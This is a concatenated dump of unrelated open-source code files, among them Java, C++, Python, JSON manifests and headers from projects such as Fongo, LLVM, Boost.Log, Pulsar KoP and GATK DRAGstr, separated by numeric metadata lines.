self._f_eo(from_gazette=True) gz_item = GazetteItemFactory(kind__name=f_eo.kind_name, text=f_eo.key) self.doc.set_ner_result([f_eo]) eo = self.doc.entity_occurrences.first() self.assertEqual(eo.entity.gazette, gz_item) def test_sending_again_same_found_entity_is_idempotent(self): f_eo = self._f_eo() self.doc.set_ner_result([f_eo]) self.doc.set_ner_result([f_eo]) self.assertEqual(self.doc.entity_occurrences.count(), 1) def test_sending_twice_same_found_entity_doesnt_crash(self): f_eo = self._f_eo() self.doc.set_ner_result([f_eo, f_eo]) self.assertEqual(self.doc.entity_occurrences.count(), 1) def test_same_different_eos_with_same_offsets_and_kind_are_not_allowed(self): f_eo = self._f_eo() f_eo_2 = self._f_eo(key=f_eo.key + ' and more') # to be sure is another key self.doc.set_ner_result([f_eo, f_eo_2]) self.assertEqual(self.doc.entity_occurrences.count(), 1) eo = self.doc.entity_occurrences.first() # the one that is saved is the first one self.assertEqual(eo.entity.key, f_eo.key)
1,711
3,434
/** * Created on 13-10-28 23:44 */ package com.alicp.jetcache.test.beans; /** * @author <a href="mailto:<EMAIL>">huangli</a> */ public class FactoryBeanTargetImpl implements FactoryBeanTarget { int count; @Override public int count() { return count++; } }
114
492
<filename>src/main/java/com/mongodb/MockMongoClient.java package com.mongodb; import com.github.fakemongo.Fongo; import com.github.fakemongo.FongoConnection; import com.mongodb.async.SingleResultCallback; import com.mongodb.client.MongoDatabase; import com.mongodb.connection.AsyncConnection; import com.mongodb.connection.BufferProvider; import com.mongodb.connection.Cluster; import com.mongodb.connection.ClusterConnectionMode; import com.mongodb.connection.ClusterDescription; import com.mongodb.connection.ClusterSettings; import com.mongodb.connection.ClusterType; import com.mongodb.connection.Connection; import com.mongodb.connection.Server; import com.mongodb.connection.ServerConnectionState; import com.mongodb.connection.ServerDescription; import com.mongodb.internal.connection.PowerOfTwoBufferPool; import com.mongodb.operation.OperationExecutor; import com.mongodb.selector.ServerSelector; import java.net.UnknownHostException; import java.util.Collection; import java.util.Collections; import java.util.List; import org.objenesis.ObjenesisHelper; import org.objenesis.ObjenesisStd; public class MockMongoClient extends MongoClient { private volatile BufferProvider bufferProvider; private Fongo fongo; private MongoOptions options; private ReadConcern readConcern; private MongoClientOptions clientOptions; public static MockMongoClient create(Fongo fongo) { // using objenesis here to prevent default constructor from spinning up background threads. // MockMongoClient client = new ObjenesisStd().getInstantiatorOf(MockMongoClient.class).newInstance(); MockMongoClient client = ObjenesisHelper.newInstance(MockMongoClient.class); MongoClientOptions clientOptions = MongoClientOptions.builder().codecRegistry(fongo.getCodecRegistry()).build(); client.clientOptions = clientOptions; client.options = new MongoOptions(clientOptions); client.fongo = fongo; client.setWriteConcern(clientOptions.getWriteConcern()); client.setReadPreference(clientOptions.getReadPreference()); client.readConcern = clientOptions.getReadConcern() == null ? ReadConcern.DEFAULT : clientOptions.getReadConcern(); return client; } public MockMongoClient() throws UnknownHostException { } @Override public String toString() { return fongo.toString(); } @Override public Collection<DB> getUsedDatabases() { return fongo.getUsedDatabases(); } @Override public List<String> getDatabaseNames() { return fongo.getDatabaseNames(); } @Override public ReplicaSetStatus getReplicaSetStatus() { // return new ReplicaSetStatus(getCluster()); return null; } @Override public int getMaxBsonObjectSize() { return 16 * 1024 * 1024; } @Override public DB getDB(String dbname) { return this.fongo.getDB(dbname); } @Override public MongoDatabase getDatabase(final String databaseName) { return new FongoMongoDatabase(databaseName, this.fongo); } @Override public void dropDatabase(String dbName) { this.fongo.dropDatabase(dbName); } @Override public MongoOptions getMongoOptions() { return this.options; } @Override public MongoClientOptions getMongoClientOptions() { return clientOptions; } @Override public List<ServerAddress> getAllAddress() { return getServerAddressList(); } @Override public ServerAddress getAddress() { return fongo.getServerAddress(); } @Override public List<ServerAddress> getServerAddressList() { return Collections.singletonList(fongo.getServerAddress()); } private ServerDescription getServerDescription() { return ServerDescription.builder().address(fongo.getServerAddress()).state(ServerConnectionState.CONNECTED).version(fongo.getServerVersion()).build(); } @Override public Cluster getCluster() { return new Cluster() { @Override public ClusterSettings getSettings() { return ClusterSettings.builder().hosts(getServerAddressList()) .requiredReplicaSetName(options.getRequiredReplicaSetName()) // .serverSelectionTimeout(options.getServerSelectionTimeout(), MILLISECONDS) // .serverSelector(createServerSelector(options)) .description(options.getDescription()) .maxWaitQueueSize(10).build(); } @Override public ClusterDescription getDescription() { return new ClusterDescription(ClusterConnectionMode.SINGLE, ClusterType.STANDALONE, Collections.singletonList(getServerDescription())); } @Override public Server selectServer(ServerSelector serverSelector) { return new Server() { @Override public ServerDescription getDescription() { return new ObjenesisStd().getInstantiatorOf(ServerDescription.class).newInstance(); } @Override public Connection getConnection() { return new FongoConnection(fongo); } @Override public void getConnectionAsync(SingleResultCallback<AsyncConnection> callback) { // TODO } }; } @Override public void selectServerAsync(ServerSelector serverSelector, SingleResultCallback<Server> callback) { } @Override public void close() { } @Override public boolean isClosed() { return false; } }; } OperationExecutor createOperationExecutor() { return fongo; } @Override public void close() { } @Override synchronized BufferProvider getBufferProvider() { if (bufferProvider == null) { bufferProvider = new PowerOfTwoBufferPool(); } return bufferProvider; } @Override public ReadConcern getReadConcern() { return readConcern; } }
1,912
353
<gh_stars>100-1000 from .mtrand import RandomState from ._philox import Philox from ._pcg64 import PCG64 from ._sfc64 import SFC64 from ._generator import Generator from ._mt19937 import MT19937 BitGenerators = {'MT19937': MT19937, 'PCG64': PCG64, 'Philox': Philox, 'SFC64': SFC64, } def __generator_ctor(bit_generator_name='MT19937'): """ Pickling helper function that returns a Generator object Parameters ---------- bit_generator_name: str String containing the core BitGenerator Returns ------- rg: Generator Generator using the named core BitGenerator """ if bit_generator_name in BitGenerators: bit_generator = BitGenerators[bit_generator_name] else: raise ValueError(str(bit_generator_name) + ' is not a known ' 'BitGenerator module.') return Generator(bit_generator()) def __bit_generator_ctor(bit_generator_name='MT19937'): """ Pickling helper function that returns a bit generator object Parameters ---------- bit_generator_name: str String containing the name of the BitGenerator Returns ------- bit_generator: BitGenerator BitGenerator instance """ if bit_generator_name in BitGenerators: bit_generator = BitGenerators[bit_generator_name] else: raise ValueError(str(bit_generator_name) + ' is not a known ' 'BitGenerator module.') return bit_generator() def __randomstate_ctor(bit_generator_name='MT19937'): """ Pickling helper function that returns a legacy RandomState-like object Parameters ---------- bit_generator_name: str String containing the core BitGenerator Returns ------- rs: RandomState Legacy RandomState using the named core BitGenerator """ if bit_generator_name in BitGenerators: bit_generator = BitGenerators[bit_generator_name] else: raise ValueError(str(bit_generator_name) + ' is not a known ' 'BitGenerator module.') return RandomState(bit_generator())
1,057
22,481
{ "domain": "p1_monitor", "name": "P1 Monitor", "config_flow": true, "documentation": "https://www.home-assistant.io/integrations/p1_monitor", "requirements": ["p1monitor==1.0.1"], "codeowners": ["@klaasnicolaas"], "quality_scale": "platinum", "iot_class": "local_polling" }
116
1,602
//===- LazyBlockFrequencyInfo.cpp - Lazy Block Frequency Analysis ---------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This is an alternative analysis pass to BlockFrequencyInfoWrapperPass. The // difference is that with this pass the block frequencies are not computed when // the analysis pass is executed but rather when the BFI result is explicitly // requested by the analysis client. // //===----------------------------------------------------------------------===// #include "llvm/Analysis/LazyBlockFrequencyInfo.h" #include "llvm/Analysis/LazyBranchProbabilityInfo.h" #include "llvm/Analysis/LoopInfo.h" #include "llvm/IR/Dominators.h" #include "llvm/InitializePasses.h" using namespace llvm; #define DEBUG_TYPE "lazy-block-freq" INITIALIZE_PASS_BEGIN(LazyBlockFrequencyInfoPass, DEBUG_TYPE, "Lazy Block Frequency Analysis", true, true) INITIALIZE_PASS_DEPENDENCY(LazyBPIPass) INITIALIZE_PASS_DEPENDENCY(LoopInfoWrapperPass) INITIALIZE_PASS_END(LazyBlockFrequencyInfoPass, DEBUG_TYPE, "Lazy Block Frequency Analysis", true, true) char LazyBlockFrequencyInfoPass::ID = 0; LazyBlockFrequencyInfoPass::LazyBlockFrequencyInfoPass() : FunctionPass(ID) { initializeLazyBlockFrequencyInfoPassPass(*PassRegistry::getPassRegistry()); } void LazyBlockFrequencyInfoPass::print(raw_ostream &OS, const Module *) const { LBFI.getCalculated().print(OS); } void LazyBlockFrequencyInfoPass::getAnalysisUsage(AnalysisUsage &AU) const { LazyBranchProbabilityInfoPass::getLazyBPIAnalysisUsage(AU); // We require DT so it's available when LI is available. The LI updating code // asserts that DT is also present so if we don't make sure that we have DT // here, that assert will trigger. AU.addRequired<DominatorTreeWrapperPass>(); AU.addRequired<LoopInfoWrapperPass>(); AU.setPreservesAll(); } void LazyBlockFrequencyInfoPass::releaseMemory() { LBFI.releaseMemory(); } bool LazyBlockFrequencyInfoPass::runOnFunction(Function &F) { auto &BPIPass = getAnalysis<LazyBranchProbabilityInfoPass>(); LoopInfo &LI = getAnalysis<LoopInfoWrapperPass>().getLoopInfo(); LBFI.setAnalysis(&F, &BPIPass, &LI); return false; } void LazyBlockFrequencyInfoPass::getLazyBFIAnalysisUsage(AnalysisUsage &AU) { LazyBranchProbabilityInfoPass::getLazyBPIAnalysisUsage(AU); AU.addRequired<LazyBlockFrequencyInfoPass>(); AU.addRequired<LoopInfoWrapperPass>(); } void llvm::initializeLazyBFIPassPass(PassRegistry &Registry) { initializeLazyBPIPassPass(Registry); INITIALIZE_PASS_DEPENDENCY(LazyBlockFrequencyInfoPass); INITIALIZE_PASS_DEPENDENCY(LoopInfoWrapperPass); }
917
743
package pl.allegro.tech.hermes.benchmark; import org.openjdk.jmh.annotations.Benchmark; import org.openjdk.jmh.annotations.BenchmarkMode; import org.openjdk.jmh.annotations.Mode; import org.openjdk.jmh.annotations.OutputTimeUnit; import org.openjdk.jmh.annotations.Scope; import org.openjdk.jmh.annotations.State; import org.openjdk.jmh.runner.Runner; import org.openjdk.jmh.runner.RunnerException; import org.openjdk.jmh.runner.options.Options; import org.openjdk.jmh.runner.options.OptionsBuilder; import org.openjdk.jmh.runner.options.TimeValue; import pl.allegro.tech.hermes.benchmark.environment.FrontendEnvironment; import java.util.concurrent.TimeUnit; @State(Scope.Benchmark) public class FrontendBenchmark { @Benchmark @BenchmarkMode(Mode.Throughput) @OutputTimeUnit(TimeUnit.SECONDS) public int benchmarkPublishingThroughput(FrontendEnvironment frontendEnvironment) { return frontendEnvironment.publisher().publish(); } @Benchmark @BenchmarkMode(Mode.SampleTime) @OutputTimeUnit(TimeUnit.MILLISECONDS) public int benchmarkPublishingLatency(FrontendEnvironment frontendEnvironment) { return frontendEnvironment.publisher().publish(); } public static void main(String[] args) throws RunnerException { Options opt = new OptionsBuilder() .include(".*" + FrontendBenchmark.class.getSimpleName() + ".*") .warmupIterations(4) .measurementIterations(4) // .addProfiler(JmhFlightRecorderProfiler.class) // .jvmArgs("-XX:+UnlockCommercialFeatures") .measurementTime(TimeValue.seconds(60)) .warmupTime(TimeValue.seconds(40)) .forks(1) .threads(2) .syncIterations(false) .build(); new Runner(opt).run(); } }
780
4,339
<gh_stars>1000+ /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.ignite.internal.pagemem.wal.record; import java.util.Collection; import java.util.Map; import org.apache.ignite.internal.processors.cache.mvcc.MvccVersion; import org.apache.ignite.internal.processors.cache.mvcc.txlog.TxLog; import org.apache.ignite.internal.processors.cache.version.GridCacheVersion; import org.apache.ignite.internal.util.typedef.internal.S; import org.apache.ignite.transactions.TransactionState; import org.jetbrains.annotations.Nullable; /** * Logical data record indented for MVCC transaction related actions.<br> * This record is marker of prepare, commit, and rollback transactions. */ public class MvccTxRecord extends TxRecord implements WalRecordCacheGroupAware { /** Transaction mvcc snapshot version. */ private final MvccVersion mvccVer; /** * @param state Transaction state. * @param nearXidVer Transaction id. * @param writeVer Transaction entries write topology version. * @param participatingNodes Primary -> Backup nodes compact IDs participating in transaction. * @param mvccVer Transaction snapshot version. */ public MvccTxRecord( TransactionState state, GridCacheVersion nearXidVer, GridCacheVersion writeVer, @Nullable Map<Short, Collection<Short>> participatingNodes, MvccVersion mvccVer ) { super(state, nearXidVer, writeVer, participatingNodes); this.mvccVer = mvccVer; } /** * @param state Transaction state. * @param nearXidVer Transaction id. * @param writeVer Transaction entries write topology version. * @param mvccVer Transaction snapshot version. * @param participatingNodes Primary -> Backup nodes participating in transaction. * @param ts TimeStamp. */ public MvccTxRecord( TransactionState state, GridCacheVersion nearXidVer, GridCacheVersion writeVer, @Nullable Map<Short, Collection<Short>> participatingNodes, MvccVersion mvccVer, long ts ) { super(state, nearXidVer, writeVer, participatingNodes, ts); this.mvccVer = mvccVer; } /** {@inheritDoc} */ @Override public RecordType type() { return RecordType.MVCC_TX_RECORD; } /** * @return Mvcc version. */ public MvccVersion mvccVersion() { return mvccVer; } /** {@inheritDoc} */ @Override public int groupId() { return TxLog.TX_LOG_CACHE_ID; } /** {@inheritDoc} */ @Override public String toString() { return S.toString(MvccTxRecord.class, this, "super", super.toString()); } }
1,176
3,442
<filename>tests/test_caffe_4.py from __future__ import absolute_import from __future__ import print_function import os import sys import six from conversion_imagenet import TestModels def get_test_table(): return { 'caffe' : { # Cannot run on Travis since it seems to consume too much memory. 'voc-fcn8s' : [ TestModels.cntk_emit, TestModels.coreml_emit, TestModels.tensorflow_emit ], 'voc-fcn16s' : [ TestModels.cntk_emit, TestModels.coreml_emit, TestModels.tensorflow_emit ], 'voc-fcn32s' : [ TestModels.cntk_emit, TestModels.coreml_emit, TestModels.tensorflow_emit ], #Temporarily disable 'xception' : [TestModels.mxnet_emit, TestModels.pytorch_emit], #Temporarily disable 'inception_v4' : [TestModels.cntk_emit, TestModels.coreml_emit, TestModels.keras_emit, TestModels.pytorch_emit, TestModels.tensorflow_emit], } } def test_caffe(): test_table = get_test_table() tester = TestModels(test_table) tester._test_function('caffe', tester.caffe_parse) if __name__ == '__main__': test_caffe()
696
1,558
#ifndef QTMATERIALDIALOG_INTERNAL_H #define QTMATERIALDIALOG_INTERNAL_H #include <QtWidgets/QWidget> class QStackedLayout; class QtMaterialDialog; class QtMaterialDialogWindow; class QtMaterialDialogProxy : public QWidget { Q_OBJECT Q_PROPERTY(qreal opacity WRITE setOpacity READ opacity) enum TransparencyMode { Transparent, SemiTransparent, Opaque, }; public: QtMaterialDialogProxy(QtMaterialDialogWindow *source, QStackedLayout *layout, QtMaterialDialog *dialog, QWidget *parent = 0); ~QtMaterialDialogProxy(); void setOpacity(qreal opacity); inline qreal opacity() const; protected slots: void makeOpaque(); void makeTransparent(); QSize sizeHint() const Q_DECL_OVERRIDE; protected: bool event(QEvent *event) Q_DECL_OVERRIDE; void paintEvent(QPaintEvent *event) Q_DECL_OVERRIDE; private: Q_DISABLE_COPY(QtMaterialDialogProxy) QtMaterialDialogWindow *const m_source; QStackedLayout *const m_layout; QtMaterialDialog *const m_dialog; qreal m_opacity; TransparencyMode m_mode; }; inline qreal QtMaterialDialogProxy::opacity() const { return m_opacity; } class QtMaterialDialogWindow : public QWidget { Q_OBJECT Q_PROPERTY(int offset WRITE setOffset READ offset) public: explicit QtMaterialDialogWindow(QtMaterialDialog *dialog, QWidget *parent = 0); ~QtMaterialDialogWindow(); void setOffset(int offset); int offset() const; protected: void paintEvent(QPaintEvent *event) Q_DECL_OVERRIDE; private: Q_DISABLE_COPY(QtMaterialDialogWindow) QtMaterialDialog *const m_dialog; }; #endif // QTMATERIALDIALOG_INTERNAL_H
756
1,217
<gh_stars>1000+ #include <bspline_opt/gradient_descent_optimizer.h> #define RESET "\033[0m" #define RED "\033[31m" GradientDescentOptimizer::RESULT GradientDescentOptimizer::optimize(Eigen::VectorXd &x_init_optimal, double &opt_f) { if (min_grad_ < 1e-10) { cout << RED << "min_grad_ is invalid:" << min_grad_ << RESET << endl; return FAILED; } if (iter_limit_ <= 2) { cout << RED << "iter_limit_ is invalid:" << iter_limit_ << RESET << endl; return FAILED; } void *f_data = f_data_; int iter = 2; int invoke_count = 2; bool force_return; Eigen::VectorXd x_k(x_init_optimal), x_kp1(x_init_optimal.rows()); double cost_k, cost_kp1, cost_min; Eigen::VectorXd grad_k(x_init_optimal.rows()), grad_kp1(x_init_optimal.rows()); cost_k = objfun_(x_k, grad_k, force_return, f_data); if (force_return) return RETURN_BY_ORDER; cost_min = cost_k; double max_grad = max(abs(grad_k.maxCoeff()), abs(grad_k.minCoeff())); constexpr double MAX_MOVEMENT_AT_FIRST_ITERATION = 0.1; // meter double alpha0 = max_grad < MAX_MOVEMENT_AT_FIRST_ITERATION ? 1.0 : (MAX_MOVEMENT_AT_FIRST_ITERATION / max_grad); x_kp1 = x_k - alpha0 * grad_k; cost_kp1 = objfun_(x_kp1, grad_kp1, force_return, f_data); if (force_return) return RETURN_BY_ORDER; if (cost_min > cost_kp1) cost_min = cost_kp1; /*** start iteration ***/ while (++iter <= iter_limit_ && invoke_count <= invoke_limit_) { Eigen::VectorXd s = x_kp1 - x_k; Eigen::VectorXd y = grad_kp1 - grad_k; double alpha = s.dot(y) / y.dot(y); if (isnan(alpha) || isinf(alpha)) { cout << RED << "step size invalid! alpha=" << alpha << RESET << endl; return FAILED; } if (iter % 2) // to aviod copying operations { do { x_k = x_kp1 - alpha * grad_kp1; cost_k = objfun_(x_k, grad_k, force_return, f_data); invoke_count++; if (force_return) return RETURN_BY_ORDER; alpha *= 0.5; } while (cost_k > cost_kp1 - 1e-4 * alpha * grad_kp1.transpose() * grad_kp1); // Armijo condition if (grad_k.norm() < min_grad_) { opt_f = cost_k; return FIND_MIN; } } else { do { x_kp1 = x_k - alpha * grad_k; cost_kp1 = objfun_(x_kp1, grad_kp1, force_return, f_data); invoke_count++; if (force_return) return RETURN_BY_ORDER; alpha *= 0.5; } while (cost_kp1 > cost_k - 1e-4 * alpha * grad_k.transpose() * grad_k); // Armijo condition if (grad_kp1.norm() < min_grad_) { opt_f = cost_kp1; return FIND_MIN; } } } opt_f = iter_limit_ % 2 ? cost_k : cost_kp1; return REACH_MAX_ITERATION; }
1,673
348
{"nom":"Combaillaux","circ":"4ème circonscription","dpt":"Hérault","inscrits":1339,"abs":731,"votants":608,"blancs":67,"nuls":15,"exp":526,"res":[{"nuance":"REM","nom":"<NAME>","voix":378},{"nuance":"FN","nom":"<NAME>","voix":148}]}
93
12,278
<reponame>cpp-pm/boost /* * Copyright <NAME> 2007 - 2015. * Distributed under the Boost Software License, Version 1.0. * (See accompanying file LICENSE_1_0.txt or copy at * http://www.boost.org/LICENSE_1_0.txt) */ /*! * \file debug_output_backend.cpp * \author <NAME> * \date 08.11.2008 * * \brief A logging sink backend that uses debugger output */ #ifndef BOOST_LOG_WITHOUT_DEBUG_OUTPUT #include <boost/log/detail/config.hpp> #include <string> #include <boost/log/sinks/debug_output_backend.hpp> #include <windows.h> #include <boost/log/detail/header.hpp> namespace boost { BOOST_LOG_OPEN_NAMESPACE namespace sinks { BOOST_LOG_ANONYMOUS_NAMESPACE { #if defined(BOOST_LOG_USE_CHAR) inline void output_debug_string(const char* str) { OutputDebugStringA(str); } #endif // defined(BOOST_LOG_USE_CHAR) #if defined(BOOST_LOG_USE_WCHAR_T) inline void output_debug_string(const wchar_t* str) { OutputDebugStringW(str); } #endif // defined(BOOST_LOG_USE_WCHAR_T) } // namespace template< typename CharT > BOOST_LOG_API basic_debug_output_backend< CharT >::basic_debug_output_backend() { } template< typename CharT > BOOST_LOG_API basic_debug_output_backend< CharT >::~basic_debug_output_backend() { } //! The method puts the formatted message to the event log template< typename CharT > BOOST_LOG_API void basic_debug_output_backend< CharT >::consume(record_view const&, string_type const& formatted_message) { output_debug_string(formatted_message.c_str()); } #ifdef BOOST_LOG_USE_CHAR template class basic_debug_output_backend< char >; #endif #ifdef BOOST_LOG_USE_WCHAR_T template class basic_debug_output_backend< wchar_t >; #endif } // namespace sinks BOOST_LOG_CLOSE_NAMESPACE // namespace log } // namespace boost #include <boost/log/detail/footer.hpp> #endif // !defined(BOOST_LOG_WITHOUT_DEBUG_OUTPUT)
755
307
<filename>kafka-impl/src/main/java/io/streamnative/pulsar/handlers/kop/utils/SaslUtils.java /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.streamnative.pulsar.handlers.kop.utils; import static java.nio.charset.StandardCharsets.UTF_8; import io.streamnative.pulsar.handlers.kop.SaslAuth; import java.io.IOException; import javax.security.sasl.SaslException; /** * Provide convenient methods to decode SASL from Kafka. */ public class SaslUtils { /** * Decode SASL auth bytes. * @param buf of sasl auth * @throws IOException */ public static SaslAuth parseSaslAuthBytes(byte[] buf) throws IOException { String[] tokens; tokens = new String(buf, UTF_8).split("\u0000"); if (tokens.length != 3) { throw new SaslException("Invalid SASL/PLAIN response: expected 3 tokens, got " + tokens.length); } String username = tokens[1]; String password = tokens[2]; if (username.isEmpty()) { throw new IOException("Authentication failed: username not specified"); } if (password.isEmpty()) { throw new IOException("Authentication failed: password not specified"); } if (password.split(":").length != 2) { throw new IOException("Authentication failed: password not specified"); } String authMethod = password.split(":")[0]; if (authMethod.isEmpty()) { throw new IOException("Authentication failed: authMethod not specified"); } password = password.split(":")[1]; return new SaslAuth(username, authMethod, password); } }
777
5,169
<filename>Specs/b/f/1/ToriMobileDomain/0.0.18/ToriMobileDomain.podspec.json { "name": "ToriMobileDomain", "version": "0.0.18", "homepage": "https://github.schibsted.io/Tori/tori-client-domain/", "source": { "http": "https://github.com/pkliang/tori-domain-framework/releases/download/0.0.1/ToriMobileDomain.zip" }, "authors": "<NAME>", "license": { "type": "Proprietary", "text": "//\\n// Copyright © SCM Suomi Oy, Inc. All rights reserved.\\n//" }, "summary": "Domain layer for mobile clients", "ios": { "vendored_frameworks": "ToriMobileDomain.framework" }, "platforms": { "ios": "10.0" } }
265
1,273
package org.broadinstitute.hellbender.utils.dragstr; import org.apache.commons.lang.ArrayUtils; import org.broadinstitute.hellbender.utils.Utils; import java.util.Arrays; /** * Tool to figure out the period and repeat-length (in units) of STRs in a reference sequence. * <p> * The period and repeat-length of a reference sequence position is determined as follow: * The STR unit is determined only by the sequence from that base onwards. * </p> * <p> * If the backward base sequence contains additional copies of that unit these are added to the repeat-length. * </p> * <p> * However a larger repeat-length for a different STR unit upstream would effectively being ignored. Usually this * rule does not come into play but there is an exception every now and then. * </p> * <p> * For example: * <pre> * ...ATACACACACACACACAC^ACTACTACTACTGAAGA.... * </pre> * Where (^) denotes the boundary between down and up-stream from the position of interest (in this case the A that follows) * </p><p> * In this case the would take 'ACT' with 4 repeats although 'AC' has plenty more repeats upstream * </p> * <p> * All sites' period and forward repeat-length are determined in a single pass thru the sequence (O(L * MaxPeriod)). * The backward additional unit count is calculated on demand. * </p> */ public final class DragstrReferenceAnalyzer { private final int start; private final int end; private final byte[] bases; private final int[] period; private final int[] forwardRepeats; private DragstrReferenceAnalyzer(final byte[] bases, final int start, final int end, final int[] period, final int[] repeats) { this.start = start; this.end = end; this.bases = bases; this.period = period; this.forwardRepeats = repeats; } /** * Returns the number of consecutive repeated units for a position * @param position the target position in the loaded base sequene. * @return 1 or greater. */ public int repeatLength(final int position) { // we get the forward repeat count: int result = lookup(position, forwardRepeats); // and then we need to add any further up-stream repeats for that unit. final int period = this.period[position - start]; for (int i = position - 1, j = position + period, k = period; i >= 0; i--) { if (bases[i] != bases[--j]) { break; } else if (--k == 0) { // here we count complete unit matches (k reaches 0). k = period; result++; } } return result; } /** * Return a new array with a copy of the repeat unit bases starting at a particular position * @param position the query position. * @return never {@code null}. */ public byte[] repeatUnit(final int position) { final int length = lookup(position, period); return Arrays.copyOfRange(bases, position, position + length); } public String repeatUnitAsString(final int position) { return new String(repeatUnit(position)); } /** * Returns the STR period at a given position.ß * @param position the target position * @return 1 or greater. */ public int period(final int position) { return lookup(position, period); } private int lookup(final int position, final int[] array) { final int offset = position - start; if (offset >= 0 && position <= end) { return array[offset]; } else { throw new IllegalArgumentException("postion " + position + " is outside bounds"); } } public static DragstrReferenceAnalyzer of(final byte[] bases, final int start, final int end, final int maxPeriod) { Utils.nonNull(bases, "the input bases cannot be null"); if (end < start || start < 0 || end > bases.length) { throw new IndexOutOfBoundsException("bad indexes " + start + " " + end + " " + bases.length); } else if (start >= end) { return new DragstrReferenceAnalyzer(bases, start, end, ArrayUtils.EMPTY_INT_ARRAY, ArrayUtils.EMPTY_INT_ARRAY); } // Period one's processing code is trivial, so do it separately and we initialize the best period and repeat // at the same time. final int[] repeats = processPeriodOne(bases, start, end); final int[] periods = new int[end - start]; Arrays.fill(periods, 1); for (int period = 2; period <= maxPeriod; period++) { if (bases.length < period << 1) { break; } int position, remainingToMatchUnit, carryBack, rightMargin, positionPlusPeriod, resultArrayOffset; // We first find the right-margin enclosing the last consecutive repeat in the input base sequence that would match // a prospective repeat unit within the target interval [start,end): rightMargin = Math.min(end + period, bases.length) - 1; final int rightMostStart = position = rightMargin - period; // reaminingToMatchUnit is a countdown reaching 0 when we have match yet another full repeat. remainingToMatchUnit = period; // carryBack would count the number of matching repeats outside the target interval carryBack = 1; for (; rightMargin < bases.length; rightMargin++) { if (bases[position++] != bases[rightMargin]) { break; } else if (--remainingToMatchUnit == 0) { carryBack++; remainingToMatchUnit = period; } } // No we work our way backwards carrying on number of consecutive matching units // and updating. // carryBack and remainingToMatchUnit has been updated in the forward pass so they correspond to the value // at rightMostStart. if ((resultArrayOffset = rightMostStart - start) >= 0 && carryBack > repeats[resultArrayOffset]) { repeats[resultArrayOffset] = carryBack; periods[resultArrayOffset] = period; } boolean inTragetRange = false; for (position = rightMostStart - 1, positionPlusPeriod = position + period, resultArrayOffset = position - start; position >= start; position--, positionPlusPeriod--, resultArrayOffset--) { if (bases[position] == bases[positionPlusPeriod]) { if (--remainingToMatchUnit == 0) { // have we matched yet another unit of length period? ++carryBack; remainingToMatchUnit = period; } if ((inTragetRange |= position < end) && carryBack > repeats[resultArrayOffset]) { repeats[resultArrayOffset] = carryBack; periods[resultArrayOffset] = period; } } else { carryBack = 1; remainingToMatchUnit = period; } } } return new DragstrReferenceAnalyzer(bases, start, end, periods, repeats); } /** * Special faster code for period == 1. */ private static int[] processPeriodOne(final byte[] bases, final int start, final int end) { final int[] repeats = new int[end - start]; byte last = bases[end - 1]; // backward phase: int rightMargin, position; for (rightMargin = end; rightMargin < bases.length && bases[rightMargin] == last; rightMargin++) {}; int carryBack = rightMargin - end; int offset; for (position = end - 1, offset = position - start; position >= start; position--, offset--) { final byte next = bases[position]; repeats[offset] = next == last ? ++carryBack : (carryBack = 1); last = next; } return repeats; } }
3,172
410
<reponame>InstantWebP2P/node-android /* * Copyright (c) 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.iwebpp.libuvpp.handles; import java.util.ArrayList; import java.util.EnumSet; import java.util.List; import java.util.Objects; import com.iwebpp.libuvpp.LibUVPermission; import com.iwebpp.libuvpp.cb.ProcessCloseCallback; import com.iwebpp.libuvpp.cb.ProcessExitCallback; public class ProcessHandle extends Handle { public enum ProcessFlags { // must be equal to values in uv.h NONE(0), SETUID(1 << 0), SETGID(1 << 1), WINDOWS_VERBATIM_ARGUMENTS(1 << 2), DETACHED(1 << 3), WINDOWS_HIDE(1 << 4); final int value; ProcessFlags(final int value) { this.value = value; } } private boolean closed; static { _static_initialize(); } private ProcessCloseCallback onClose = null; private ProcessExitCallback onExit = null; protected ProcessHandle(final LoopHandle loop) { super(_new(loop.pointer()), loop); this.closed = false; _initialize(pointer); } public void setCloseCallback(final ProcessCloseCallback callback) { onClose = callback; } public void setExitCallback(final ProcessExitCallback callback) { onExit = callback; } public int spawn(final String program, final String[] args, final String[] env, final String dir, final EnumSet<ProcessFlags> flags, final StdioOptions[] stdio, final int uid, final int gid) { Objects.requireNonNull(program); Objects.requireNonNull(args); assert args.length > 0; char[] cmdChars = args[0].toCharArray(); boolean inQuote = false; List<String> javaArgs = new ArrayList<String>(); int start = 0; int end = 0; for (int i = 0; i < cmdChars.length; i++) { switch(cmdChars[i]) { case '\"': { if (inQuote) { // Closing quote inQuote = false; } else { // Opening quote inQuote = true; } break; } case ' ': { if (!inQuote) { javaArgs.add(args[0].substring(start, end)); start = ++end; continue; } break; } } end++; } 